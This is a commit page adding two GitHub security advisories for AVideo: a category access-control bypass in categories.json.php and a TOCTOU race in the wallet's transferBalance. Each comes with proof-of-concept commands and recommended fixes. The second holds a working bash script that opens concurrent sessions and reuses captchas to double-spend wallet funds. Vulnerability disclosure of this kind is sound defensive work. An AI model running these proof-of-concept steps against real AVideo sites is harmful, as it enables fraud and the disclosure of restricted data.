Skip to content

Commit 5faecb2

Browse files
1 parent 56e0f01 commit 5faecb2

2 files changed

Lines changed: 130 additions & 0 deletions

File tree

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-73gr-r64q-7jh4",
4+
"modified": "2026-03-30T17:49:57Z",
5+
"published": "2026-03-30T17:49:57Z",
6+
"aliases": [
7+
"CVE-2026-34364"
8+
],
9+
"summary": "AVideo has User Group-Based Category Access Control Bypass via Missing and Broken Group Filtering in categories.json.php",
10+
"details": "## Summary\n\nThe `categories.json.php` endpoint, which serves the category listing API, fails to enforce user group-based access controls on categories. In the default request path (no `?user=` parameter), user group filtering is entirely skipped, exposing all non-private categories including those restricted to specific user groups. When the `?user=` parameter is supplied, a type confusion bug causes the filter to use the admin user's (user_id=1) group memberships instead of the current user's, rendering the filter ineffective.\n\n## Details\n\nThe vulnerability has two related failures in `objects/categories.json.php` and `objects/category.php`:\n\n**1. Default request — group filtering completely skipped**\n\nIn `categories.json.php:17-24`, when `$_GET['user']` is not set, `$sameUserGroupAsMe` defaults to `false`:\n\n```php\n// categories.json.php:17-24\n$onlyWithVideos = false;\n$sameUserGroupAsMe = false;\nif(!empty($_GET['user'])){\n $onlyWithVideos = true;\n $sameUserGroupAsMe = true;\n}\n$categories = Category::getAllCategories(true, $onlyWithVideos, false, $sameUserGroupAsMe);\n```\n\nIn `category.php:438-452`, the user group filter is gated on `$sameUserGroupAsMe` being truthy:\n\n```php\n// category.php:438-452\nif ($sameUserGroupAsMe) {\n $users_groups = UserGroups::getUserGroups($sameUserGroupAsMe);\n $users_groups_id = array(0);\n foreach ($users_groups as $value) {\n $users_groups_id[] = $value['id'];\n }\n $sql .= \" AND (\"\n . \"(SELECT count(*) FROM categories_has_users_groups chug WHERE c.id = chug.categories_id) = 0 OR \"\n . \"(SELECT count(*) FROM categories_has_users_groups chug2 WHERE c.id = chug2.categories_id AND users_groups_id IN (\" . implode(',', $users_groups_id) . \")) >= 1 \"\n . \")\";\n}\n```\n\nSince `$sameUserGroupAsMe = false`, the entire block is skipped. All non-private categories are returned regardless of their user group restrictions set via the `categories_has_users_groups` table.\n\n**2. With `?user=` parameter — boolean-to-integer type confusion**\n\nWhen `$_GET['user']` is non-empty, `$sameUserGroupAsMe` is set to boolean `true` (line 21). This value is passed to `UserGroups::getUserGroups($sameUserGroupAsMe)` at `category.php:440`.\n\nIn `userGroups.php:349-379`, the parameter is used as `$users_id`:\n\n```php\n// userGroups.php:349,371,379\npublic static function getUserGroups($users_id){\n // ...\n $sql = \"SELECT uug.*, ug.* FROM users_groups ug\"\n . \" LEFT JOIN users_has_users_groups uug ON users_groups_id = ug.id WHERE users_id = ? \";\n // ...\n $res = sqlDAL::readSql($sql, \"i\", [$users_id]);\n```\n\nPHP casts boolean `true` to integer `1` for the prepared statement bind, resulting in `WHERE users_id = 1` — fetching the **admin user's** group memberships. The filter then allows categories visible to admin groups, effectively granting any unauthenticated user the admin's category visibility.\n\n**3. getTotalCategories also unfiltered**\n\n`getTotalCategories()` at `category.php:978` does not accept a `$sameUserGroupAsMe` parameter at all, so the total count always reflects the unfiltered category set.\n\nThe endpoint requires no authentication — it uses `allowOrigin()` (a CORS header helper) and is publicly routable via the `.htaccess` rewrite rule: `RewriteRule ^categories.json$ objects/categories.json.php`.\n\n## PoC\n\n```bash\n# 1. Fetch all categories without authentication — no group filtering applied\ncurl -s 'https://target/categories.json' | jq '.rows[] | {id, name, private, users_groups_ids_array}'\n\n# Returns ALL non-private categories including those restricted to specific user groups.\n# The users_groups_ids_array field reveals which groups each category is restricted to.\n# Categories with non-empty users_groups_ids_array should be hidden from users not in those groups.\n\n# 2. Attempt the \"filtered\" path — still broken due to boolean->int cast\ncurl -s 'https://target/categories.json?user=1' | jq '.rows[] | {id, name, private, users_groups_ids_array}'\n\n# This applies group filtering but uses admin's groups (users_id=1) instead of the\n# current user's groups, so group-restricted categories visible to admin are exposed.\n```\n\n## Impact\n\nAny unauthenticated user can:\n\n- **Enumerate all non-private categories** regardless of user group restrictions, bypassing the intended access control model where categories are restricted to specific user groups via the CustomizeUser plugin's `categories_has_users_groups` table.\n- **Discover the user group configuration** for each category via the `users_groups_ids_array` field in the response, revealing the internal access control structure.\n- **Identify group-restricted content areas** that should be hidden, which could be used to target further access control bypasses on the videos within those categories.\n\nThe severity is Medium because this is an information disclosure of category metadata (names, descriptions, icons, group assignments) rather than the actual video content within restricted categories. However, the exposure of the access control structure itself (which groups have access to which categories) is a meaningful information leak.\n\n## Recommended Fix\n\nIn `objects/categories.json.php`, pass the current user's ID (or 0 for unauthenticated users) instead of a boolean:\n\n```php\n// categories.json.php — replace lines 17-24\n$onlyWithVideos = false;\n$sameUserGroupAsMe = false;\nif(!empty($_GET['user'])){\n $onlyWithVideos = true;\n}\n// Always apply user group filtering using the logged-in user's ID\n$currentUserId = User::getId();\nif (!empty($currentUserId)) {\n $sameUserGroupAsMe = $currentUserId;\n} else {\n // For unauthenticated users, pass a value that will filter to only\n // categories with no group restrictions\n $sameUserGroupAsMe = -1; // Non-existent user ID, will match no groups\n}\n\n$categories = Category::getAllCategories(true, $onlyWithVideos, false, $sameUserGroupAsMe);\n```\n\nAdditionally, in `category.php:getAllCategories()`, ensure the group filter block always runs when categories have group restrictions, not only when `$sameUserGroupAsMe` is truthy. A more robust approach:\n\n```php\n// category.php — replace the sameUserGroupAsMe block (lines 438-452)\n// Always filter by user groups if any categories have group restrictions\n$users_groups_id = array(0);\nif ($sameUserGroupAsMe && $sameUserGroupAsMe > 0) {\n $users_groups = UserGroups::getUserGroups($sameUserGroupAsMe);\n foreach ($users_groups as $value) {\n $users_groups_id[] = $value['id'];\n }\n}\n$sql .= \" AND (\"\n . \"(SELECT count(*) FROM categories_has_users_groups chug WHERE c.id = chug.categories_id) = 0 OR \"\n . \"(SELECT count(*) FROM categories_has_users_groups chug2 WHERE c.id = chug2.categories_id AND users_groups_id IN (\" . implode(',', $users_groups_id) . \")) >= 1 \"\n . \")\";\n```\n\nThis ensures that even when no user is logged in, categories with group restrictions are hidden (only categories with zero group restrictions are shown). The `getTotalCategories()` function should also be updated to accept and apply the same `$sameUserGroupAsMe` filter.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "wwbn/avideo"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "26.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-73gr-r64q-7jh4"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34364"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/WWBN/AVideo/commit/6e8a673eed07be5628d0b60fbfabd171f3ce74c9"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/WWBN/AVideo"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-863"
59+
],
60+
"severity": "MODERATE",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-03-30T17:49:57Z",
63+
"nvd_published_at": "2026-03-27T18:16:05Z"
64+
}
65+
}
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-h54m-c522-h6qr",
4+
"modified": "2026-03-30T17:51:12Z",
5+
"published": "2026-03-30T17:51:12Z",
6+
"aliases": [
7+
"CVE-2026-34368"
8+
],
9+
"summary": "AVideo Vulnerable to Wallet Balance Double-Spend via TOCTOU Race Condition in transferBalance",
10+
"details": "## Summary\n\nThe `transferBalance()` method in `plugin/YPTWallet/YPTWallet.php` contains a Time-of-Check-Time-of-Use (TOCTOU) race condition. The method reads the sender's wallet balance, checks sufficiency in PHP, then writes the new balance — all without database transactions or row-level locking. An attacker with multiple authenticated sessions can send concurrent transfer requests that all read the same stale balance, each passing the balance check independently, resulting in only one deduction being applied while the recipient is credited multiple times.\n\n## Details\n\nThe vulnerable code path in `plugin/YPTWallet/YPTWallet.php:450-517`:\n\n```php\n// Line 473-474: READ - fetch current balance (plain SELECT, no FOR UPDATE)\n$senderWallet = self::getWallet($fromUserId);\n$senderBalance = $senderWallet->getBalance();\n$senderNewBalance = $senderBalance - $amount;\n\n// Line 477: CHECK - verify sufficient funds in PHP\nif ($senderNewBalance < 0) {\n return false;\n}\n\n// Line 486-487: WRITE - set new balance (plain UPDATE)\n$senderWallet->setBalance($senderNewBalance);\n$senderWalletId = $senderWallet->save();\n\n// Line 497-502: Credit receiver (also plain SELECT + UPDATE)\n$receiverWallet = self::getWallet($toUserId);\n$receiverBalance = $receiverWallet->getBalance();\n$receiverNewBalance = $receiverBalance + $amount;\n$receiverWallet->setBalance($receiverNewBalance);\n$receiverWalletId = $receiverWallet->save();\n```\n\nThe `getWallet()` method (`YPTWallet.php:244`) calls `Wallet::getFromUser()` (`Wallet.php:69-84`) which executes a plain `SELECT * FROM wallet WHERE users_id = $users_id` with no `FOR UPDATE` clause. The `save()` method (`Wallet.php:105`) calls `ObjectYPT::save()` (`Object.php:293`) which executes a plain `UPDATE` — no transaction wrapping.\n\n**Race window**: Between the SELECT (step 1) and UPDATE (step 3), all concurrent requests see the same original balance. Each independently computes `original - amount`, passes the check, and writes back. The last writer wins for the sender (only one deduction effective), but the receiver gets credited once per request.\n\n**Why concurrent requests succeed**: PHP's file-based session locking serializes requests per session. However, an attacker can create multiple login sessions (different PHPSESSID cookies) for the same user account. Each session has its own lock and can execute concurrently. Each session needs its own captcha, but the captcha validation in `objects/captcha.php:58-73` compares `$_SESSION['palavra']` without unsetting it after validation, allowing unlimited reuse within each session.\n\nEntry point: `plugin/YPTWallet/view/transferFunds.json.php:39` calls `YPTWallet::transferBalance(User::getId(), $_POST['users_id'], $_POST['value'])` — requires only `User::isLogged()` and a valid captcha.\n\n## PoC\n\n```bash\n# Prerequisites: Attacker has a registered account with $10 wallet balance\n# Accomplice has a registered account (recipient)\n\nTARGET=\"https://target-avideo-instance\"\nACCOMPLICE_ID=123 # recipient user ID\n\n# Step 1: Create 5 independent sessions for the same attacker account\ndeclare -a SESSIONS\ndeclare -a CAPTCHA_ANSWERS\n\nfor i in $(seq 1 5); do\n # Login and capture session cookie\n COOKIE=$(curl -s -c - \"$TARGET/objects/login.json.php\" \\\n -d 'user=attacker&pass=attackerpass' | grep PHPSESSID | awk '{print $NF}')\n \n # Load captcha to populate $_SESSION['palavra']\n curl -s -b \"PHPSESSID=$COOKIE\" \"$TARGET/objects/captcha.php\" -o \"captcha_$i.png\"\n \n SESSIONS[$i]=$COOKIE\n echo \"Session $i: $COOKIE — solve captcha_$i.png manually\"\ndone\n\n# Step 2: After solving captchas, fire all 5 transfer requests simultaneously\n# Each requests $10 transfer — all will read balance=$10 concurrently\nfor i in $(seq 1 5); do\n curl -s -b \"PHPSESSID=${SESSIONS[$i]}\" \\\n \"$TARGET/plugin/YPTWallet/view/transferFunds.json.php\" \\\n -d \"users_id=$ACCOMPLICE_ID&value=10&captcha=${CAPTCHA_ANSWERS[$i]}\" &\ndone\nwait\n\n# Expected result:\n# - Attacker balance: $0 (last write wins, sets balance to 10-10=0)\n# - Accomplice balance: credited $10 x N successful races (up to $50)\n# - Net money created from nothing: up to $40\n```\n\n## Impact\n\nAn authenticated attacker can exploit this race condition to:\n\n- **Create wallet balance from nothing**: With a $10 balance and N concurrent requests, the recipient can receive up to $10×N while the sender only loses $10.\n- **Bypass pay-per-view charges**: Inflate wallet balance, then purchase paid content without real payment.\n- **Bypass subscription fees**: Use inflated balance to purchase subscriptions.\n- **Financial integrity compromise**: The wallet ledger becomes inconsistent — total balances across all users no longer match total deposits.\n\nThe attack requires solving one captcha per session (captchas are reusable within a session), creating multiple login sessions, and timing concurrent requests — achievable with basic scripting.\n\n## Recommended Fix\n\nReplace the read-check-write pattern with an atomic database operation using a transaction and row-level locking:\n\n```php\npublic static function transferBalance($fromUserId, $toUserId, $amount, $customDescription = \"\", $forceTransfer = false)\n{\n global $global;\n \n // ... existing auth and validation checks ...\n \n $amount = floatval($amount);\n if ($amount <= 0) {\n return false;\n }\n\n // Use a database transaction with row-level locking\n $global['mysqli']->autocommit(false);\n $global['mysqli']->begin_transaction();\n \n try {\n // Lock sender row and read balance atomically\n $sql = \"SELECT id, balance FROM wallet WHERE users_id = ? FOR UPDATE\";\n $stmt = $global['mysqli']->prepare($sql);\n $stmt->bind_param(\"i\", $fromUserId);\n $stmt->execute();\n $result = $stmt->get_result();\n $senderRow = $result->fetch_assoc();\n $stmt->close();\n \n if (empty($senderRow)) {\n $global['mysqli']->rollback();\n return false;\n }\n \n $senderBalance = floatval($senderRow['balance']);\n $senderNewBalance = $senderBalance - $amount;\n \n if ($senderNewBalance < 0) {\n $global['mysqli']->rollback();\n return false;\n }\n \n // Atomic deduction\n $sql = \"UPDATE wallet SET balance = ? WHERE id = ? AND balance >= ?\";\n $stmt = $global['mysqli']->prepare($sql);\n $stmt->bind_param(\"did\", $senderNewBalance, $senderRow['id'], $amount);\n $stmt->execute();\n \n if ($stmt->affected_rows === 0) {\n $global['mysqli']->rollback();\n $stmt->close();\n return false;\n }\n $stmt->close();\n \n // Credit receiver (also locked)\n $sql = \"SELECT id, balance FROM wallet WHERE users_id = ? FOR UPDATE\";\n $stmt = $global['mysqli']->prepare($sql);\n $stmt->bind_param(\"i\", $toUserId);\n $stmt->execute();\n $result = $stmt->get_result();\n $receiverRow = $result->fetch_assoc();\n $stmt->close();\n \n $receiverNewBalance = floatval($receiverRow['balance']) + $amount;\n $sql = \"UPDATE wallet SET balance = ? WHERE id = ?\";\n $stmt = $global['mysqli']->prepare($sql);\n $stmt->bind_param(\"di\", $receiverNewBalance, $receiverRow['id']);\n $stmt->execute();\n $stmt->close();\n \n $global['mysqli']->commit();\n \n // ... log entries ...\n \n } catch (Exception $e) {\n $global['mysqli']->rollback();\n return false;\n } finally {\n $global['mysqli']->autocommit(true);\n }\n}\n```\n\nAdditionally, fix the captcha reuse issue in `objects/captcha.php:58-73` by unsetting `$_SESSION['palavra']` after successful validation:\n\n```php\npublic static function validation($word)\n{\n // ... existing checks ...\n $validation = (strcasecmp($word, $_SESSION[\"palavra\"]) == 0);\n if ($validation) {\n unset($_SESSION[\"palavra\"]); // Consume the captcha token\n }\n return $validation;\n}\n```",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "wwbn/avideo"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "26.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-h54m-c522-h6qr"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34368"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/WWBN/AVideo/commit/34132ad5159784bfc7ba0d7634bb5c79b769202d"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/WWBN/AVideo"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-362"
59+
],
60+
"severity": "MODERATE",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-03-30T17:51:12Z",
63+
"nvd_published_at": "2026-03-27T18:16:05Z"
64+
}
65+
}

0 commit comments

Comments
 (0)